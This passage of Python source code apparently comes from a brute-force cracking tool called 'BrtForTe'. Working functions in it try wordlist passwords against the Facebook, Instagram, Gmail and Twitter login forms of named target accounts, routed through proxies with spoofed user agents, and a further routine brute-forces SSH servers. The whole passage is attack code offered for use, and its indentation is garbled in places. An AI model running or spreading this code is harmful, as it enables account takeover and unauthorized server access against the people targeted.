				                        print(cor[3]+"\n[!]:"+cor[4]+"[BrtForTe]"+cor[5]+" experienced an error while updating, please download manually from:"+cor[2]+" [ {} ]".format(toolink))
				                        exit()
	                              elif update() == 0:
			 	                       print(cor[2]+"\n[*]:"+cor[4]+"[BrtForTe]"+cor[5]+" has successfully updated to the latest version.")
			 	                       exit()
		                      else:
			                  pass
		                      exit()

		     elif check1 == False:
                                         msgerrorconnect()



#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#################################################### [1] SECTION BRUTFORCE EMAILS START ###############################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



#############################################################(1)FACEBOOK BRTFOR FUNCTION ##############################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

	  elif options.facebookT !=None and options.facebookW !=None:
		user = options.facebookT
		passw = options.facebookW
		global check2
		if check2 == True:
				 try:
				     passwfile = open(passw, "r")
				 except:
				       errorfile(passw)
			         if proxys == True:
					          prostatus = cor[2]+"ON"+cor[5]
						  prox = proxy1
				 else:
				     prostatus = cor[4]+"OFF"+cor[5]
				     prox = ""
			         banner()
				 time.sleep(1.5)
				 print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5])
				 print("[#]:Time         : [ "+str(timenow)+" ]")
				 print("[*]:Website      : [ www.facebook.com ]")
				 print("[+]:Target Email : [ "+str(user)+" ]")
				 print("[+]:Wordlist     : [ "+str(passw)+" ]")
				 print("[@]:Proxy status : [ "+prox+" ["+prostatus+"]")
				 print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
				 time.sleep(1.5)
				 print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n")
				 lo = 1
			         for password in passwfile:
				 			  try:
							     br1=mechanize.Browser()
							     br1.set_handle_robots(False)
				                             br1.set_cookiejar(cookielib.LWPCookieJar())
				                             br1.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
							     if proxys == True:
								 br1.set_proxies({'http':prox})
							     else:
								  pass
							     global useuser
							     br1.addheaders =[("User-agent", useuser)]
							     op=br1.open("https://facebook.com")
							     dos1=open("Facebook-Log.txt","w+")
							     try:
						                 br1.select_form(nr=0)
							     except:
								   serverblock("[ www.facebook.com ]")
								   os.system("rm Facebook-Log.txt")
							     br1.form["email"]=user
							     br1.form["pass"]=password
							     br1.method="POST"
							     br1.submit()
						       	     dos1.write(br1.open("https://facebook.com").read())
							     dos1.seek(0)
							     text=dos1.read().decode("UTF-8")
							     if(text.find("home_icon",0,len(text))!=-1):
							   			                     print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password))
												     time.sleep(0.60)
												     os.system("rm Facebook-Log.txt")
											             exit()
							     else:
							    	 print(cor[3] + '[!]:Trying Password[%s] : '%(lo) +cor[0]+ str(password) + "\n")
								 lo +=1
							  except KeyboardInterrupt:
									 os.system("rm Facebook-Log.txt")
									 exceptkey()


				 else:
				     os.system("rm Facebook-Log.txt")
				     passnotfound(passw)


		elif check2 == False:
				    msgerrorconnect()

#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
########################################################## END FACEBOOK FUNCTION #####################################################################



#######################################################(2)INSTAGRAM BRTFOR FUNCTION ###################################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


	  elif options.instagramT !=None and options.instagramW !=None:
		    global check3
		    if check3 == True:
		                     username = options.instagramT
				     pwd_file = options.instagramW
				     try:
					passw = open(pwd_file, "r")
					passwords = passw.readlines()
				     except:
					   errorfile(pwd_file)
			             if proxys == True:
					              prostatus = cor[2]+"ON"+cor[5]
						      prox = proxy2
				     else:
				         prostatus = cor[4]+"OFF"+cor[5]
					 prox = ""
				     banner()
				     time.sleep(1.5)
				     print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5])
				     print("[#]:Time         : [ "+str(timenow)+" ]")
				     print("[*]:Website      : [ www.instagram.com ]")
				     print("[+]:Target User  : [ "+str(username)+" ]")
				     print("[+]:Wordlist     : [ "+str(pwd_file)+" ]")
				     print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]")
				     print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
				     time.sleep(1.5)
				     print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n")
				     def insta(password):
							global useuser2
                                                        br.addheaders =[("User-agent", useuser2)]
						        login = '******'
    							br.open(login)
							try:
    							   br.select_form(nr=0)
							except:
							      serverblock("[ www.instagram.com ]")
    							br['username']=username
    							print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n")
    							br['password']=password
    							br.submit()
						        log = br.geturl()
   	 						if log !=login:
        							print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n")
        							sys.exit(0)
    						        else:
        				 		    return

				     br = mechanize.Browser()
				     br.set_handle_robots(False)
				     br.set_cookiejar(cookielib.LWPCookieJar())
				     br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
				     if proxys == True:
				     	 br.set_proxies({'http':prox})
				     else:
					 pass

				     rs = 1
				     try:
				        for i in range(len(passwords)):
    					 	passwords[i] = passwords[i].strip()
    					  	passwords[i] = passwords[i].replace('\n','')

					for password in passwords:
    					        insta(password)
					        rs +=1
                                        else:
				            passnotfound(pwd_file)


				     except KeyboardInterrupt:
							     exceptkey()
		    elif check3 == False:
				        msgerrorconnect()

#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
########################################################## END INSTA FUNCTION ########################################################################




##########################################################(3)GMAIL BRTFOR FUNCTION ###################################################################
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


	  elif options.gmailT !=None and options.gmailW !=None:
		    global check4
		    if check4 == True:
		                     email = options.gmailT
				     pwd_file = options.gmailW
	                             if email[-9:] !="gmail.com":
					   print(cor[3]+"\n[!]:"+cor[5]+"Please input just gmail email!\n"+cor[2]+"[*]:"+cor[3]+"example:> [email protected]")
					   exit()
				     try:
					list = open(pwd_file, "r")
					passwords = list.readlines()
				     except:
					   errorfile(pwd_file)
			             if proxys == True:
					              prostatus = cor[2]+"ON"+cor[5]
						      prox = proxy3
				     else:
				         prostatus = cor[4]+"OFF"+cor[5]
					 prox = ""
				     banner()
				     time.sleep(1.5)
				     print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5])
				     print("[#]:Time         : [ "+str(timenow)+" ]")
				     print("[*]:Website      : [ www.gmail.com ]")
				     print("[+]:Target Email : [ "+str(email)+" ]")
				     print("[+]:Wordlist     : [ "+str(pwd_file)+" ]")
				     print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]")
				     print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
				     time.sleep(1.5)
				     print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n")
				     def start(password):
							global useuser3
                                                        br.addheaders =[("User-agent", useuser3)]
    							br.open("https://www.gmail.com")
							try:
    							   br.select_form(nr=0)
							except:
							      serverblock("[ www.gmail.com ]")
    							br['Email']=email
    							br.submit()
							try:
    							   br.select_form(nr=0)
							except:
							      serverblock("[ www.gmail.com ]")
    							print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n")
    							br['Passwd']=password
    							br.submit()
   	 						if br.geturl()=='https://mail.google.com/mail/u/0/':
        							print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n")
        							sys.exit(0)
    						        else:
        				 		    return

				     br = mechanize.Browser()
				     br.set_handle_robots(False)
				     br.set_cookiejar(cookielib.LWPCookieJar())
				     br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
				     if proxys == True:
				     	 br.set_proxies({'http':prox})
				     else:
					 pass

				     rs = 1
				     try:
				        for i in range(len(passwords)):
    					 	passwords[i] = passwords[i].strip()
    					  	passwords[i] = passwords[i].replace('\n','')

					for password in passwords:
    					        start(password)
					        rs +=1
                                        else:
				            passnotfound(pwd_file)


				     except KeyboardInterrupt:
							     exceptkey()
		    elif check4 == False:
				        msgerrorconnect()

#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
########################################################## END GMAIL FUNCTION #########################################################################


##########################################################(4)TWITTER BRTFOR FUNCTION ##################################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

	  elif options.twitterT !=None and options.twitterW !=None:
		    global check5
		    if check5 == True:
		                     email = options.twitterT
				     pwd_file = options.twitterW
				     try:
					list = open(pwd_file, "r")
					passwords = list.readlines()
				     except:
					   errorfile(pwd_file)
			             if proxys == True:
					              prostatus = cor[2]+"ON"+cor[5]
						      prox = proxy4
				     else:
				         prostatus = cor[4]+"OFF"+cor[5]
					 prox = ""
				     banner()
				     time.sleep(1.5)
				     print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5])
				     print("[#]:Time         : [ "+str(timenow)+" ]")
				     print("[*]:Website      : [ www.twitter.com ]")
				     print("[+]:Target User  : [ "+str(email)+" ]")
				     print("[+]:Wordlist     : [ "+str(pwd_file)+" ]")
				     print("[@]:Proxy status : [ "+prox+ "["+prostatus+"]")
				     print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
				     time.sleep(1.5)
				     print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n")
				     def start(password):
							global useuser2
                                                        br.addheaders =[("User-agent", useuser4)]
    							br.open('https://m.twitter.com/login/')
							try:
    							   br.select_form(nr=1)
							except:
							      serverblock("[ www.twitter.com ]")
    							br['session[username_or_email]']= email
    							print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n")
    							br['session[password]'] = password
    							br.submit()
   	 						log = br.open('https://m.twitter.com/account').read()
							if email in log:
        							print(cor[2] + "\n[*]:"+cor[5]+"Password Found "+cor[1]+" ==> "+cor[4]+ str(password) + "\n")
        							sys.exit(0)
    						        else:
        				 		    return

				     br = mechanize.Browser()
				     cookies = cookielib.LWPCookieJar()
				     br.set_cookiejar(cookies)
				     br.set_handle_equiv(True)
				     br.set_handle_redirect(True)
				     br.set_handle_referer(True)
				     br.set_handle_robots(False)
				     br.set_debug_http(False)
			             br.set_debug_responses(False)
				     br.set_debug_redirects(False)
				     br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1)
				     if proxys == True:
				     	 br.set_proxies({'http':prox})
				     else:
					 pass

				     rs = 1
				     try:
				        for i in range(len(passwords)):
    					 	passwords[i] = passwords[i].strip()
    					  	passwords[i] = passwords[i].replace('\n','')

					for password in passwords:
    					        start(password)
					        rs +=1
                                        else:
				            passnotfound(pwd_file)


				     except KeyboardInterrupt:
							     exceptkey()
		    elif check5 == False:
				        msgerrorconnect()




#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
########################################################## END TWITTER FUNCTION #######################################################################


#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
######################################################## (END)[1] EMAILIS SECTION #####################################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::










#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#################################################### [2] SECTION BRUTFORCE SERVER START ###############################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




##########################################################(1)SSH SERVER FUNCTION ######################################################################
#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

	  elif options.sshT !=None and options.sshU !=None and options.sshW !=None:
		host = options.sshT
		user = options.sshU
		passf = options.sshW
		try:
		   infile = open(passf, "r")
	        except:
		      errorfile(passf)
		global check6
		if check6 == True:
			         def checkport():
		                   try:
		     		      s = socket.gethostbyname(host)
		     		      conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		     		      conn.connect((s, 22))
		     		      return True
		  		   except:
					 pass
		  		   return False

				 if checkport() ==False:
			           print(cor[3]+"[!]Ops:"+cor[5]+"PORT"+cor[4]+" [ 22/SSH ]"+cor[3]+"IS CLOSE In Target Server\n[!]:I can't Continue Sorry :(")
			           exit()

				 def connect(host, user, password):
    				    global Found
				    Fails = 0
 				    try:
        			       s = pxssh.pxssh()
        			       s.login(host, user, password)
				       return s
    				    except Exception, e:
					   if Fails > 5:
	    					print("\n[!]Too Many Socket Timeouts")

				    	   elif 'read_nonblocking' in str(e):
	    			         	Fails += 1
                                         	time.sleep(5)
            				 	return connect(host, user, password)
				    	   elif 'synchronize with original prompt' in str(e):
	    				 	time.sleep(1)
	    				 	return connect(host, user, password)
				    	   return None
				 try:
				     banner()
				     time.sleep(1.5)
				     print(colors + "\n[+]:=================> CONFIG <=================:[+]\n"+cor[5])
				     print("[#]:Time         : [ "+str(timenow)+" ]")
				     print("[*]:Server       : [ SSH:%s ]"%(host))
				     print("[+]:Target User  : [ "+str(user)+" ]")
				     print("[+]:Wordlist     : [ "+str(passf)+" ]")
				     print(cor[1]+"\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
				     time.sleep(0.40)
				     print(cor[4] +"\n[$]"+cor[2]+" <<<<<<<<<"+cor[4]+" Brute Force Attack Start"+cor[2]+" >>>>>>>>>"+cor[4]+" [$]\n")
				     time.sleep(1.3)
				     rs = 1
                                     for line in infile:
                                       password = line.strip('\r\n')
	                               print(cor[3] + '[!]:Trying Password[%s] : '%(rs) +cor[0]+ str(password) + "\n")
				       rs +=1
                                       con = connect(host, user, password)
		                       if con:
		                          print(cor[2] + "\n[*]:"+cor[5]+"ServerSSH Crack!\n------------------------------"+cor[1]+"\n[*]:TargetINFO:\n"+cor[5]+"\n[*]:TIME : "+timenow+"\n[+]:TARGET SERVER : "+host+"\n[+]:TARGET USER : "******"\n[+]:Wordlist: "+passf+cor[2]+"\n\n[*]:"+cor[3]+"Target SSH Password ==> "+cor[1]+str(password)+cor[5]+"\n------------------------------")
				     else:
				         passnotfound(passf)

			         except KeyboardInterrupt:
					exceptkey()
		elif check6 == False:
				    servererror()